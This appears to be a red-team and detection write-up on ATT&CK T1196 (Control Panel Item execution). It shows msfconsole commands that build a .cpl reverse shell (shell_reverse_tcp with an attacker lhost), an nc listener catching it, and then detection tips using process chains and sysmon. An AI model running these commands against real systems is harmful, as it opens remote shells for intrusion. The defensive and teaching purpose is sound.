T1196: Control Panel Item
Control Panel Item code execution - bypass application whitelisting.
Execution
Generating a simple x64 reverse shell in a .cpl format:
msfconsole
use windows/local/cve_2017_8464_lnk_lpe
set payload windows/x64/shell_reverse_tcp
set lhost 10.0.0.5
exploit
root@~# nc -lvp 4444
listening on [any] 4444 ...We can see that the .cpl is simply a DLL with DllMain function exported:

A quick look at the dissasembly of the dll suggests that rundll32.exe will be spawned, a new thread will be created in suspended mode, which most likely will get injected with our shellcode and eventually resumed to execute that shellcode:

Invoking the shellcode via control.exe:
Attacking machine receiving the reverse shell:
Observations
Note how rundll32 spawns cmd.exe and establishes a connection back to the attacker - these are signs that should raise your suspicion when investingating a host for a compromise:

As always, sysmon logging can help in finding suspicious commandlines being executed in your environment:

Bonus - Create Shortcut With PowerShell
References
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